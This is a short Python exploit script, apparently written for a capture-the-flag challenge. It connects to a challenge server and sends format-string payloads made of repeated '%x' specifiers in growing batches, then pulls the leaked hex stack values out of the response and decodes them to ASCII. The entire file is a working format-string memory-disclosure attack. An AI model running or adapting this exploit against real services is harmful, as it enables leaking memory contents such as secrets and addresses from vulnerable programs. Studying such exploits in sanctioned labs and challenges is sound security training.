exploit4.py

import socket
import re

def hex_to_ascii(hex_values):
    ascii_output = ""
    for hex_val in hex_values:
        try:
            ascii_output += bytes.fromhex(hex_val).decode("utf-8", errors="ignore")
        except ValueError:
            pass
    return ascii_output

host = "challenges.0x0539.net"
port = 7070

# Start with small payload and increment
max_payload_length = 20
for length in range(10, max_payload_length + 1, 5):
    payload = "%x " * length  # Generate payload of variable size
    print(f"\n[+] Testing Payload with {length} entries")

    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((host, port))
        banner = s.recv(1024).decode()
        print("Banner:\n", banner)

        s.sendall(payload.encode() + b"\n")
        response = s.recv(4096).decode()
        print("\nRaw Response:\n", response)

        # Extract and decode stack values
        hex_values = re.findall(r"[0-9a-fA-F]{8}", response)
        print("\nHex Values:\n", hex_values)

        decoded_output = hex_to_ascii(hex_values)
        print("\nDecoded ASCII:\n", decoded_output)

        if not hex_values:  # Stop testing if no further data is returned
            print("\n[!] No more data leaked. Stopping.")
            break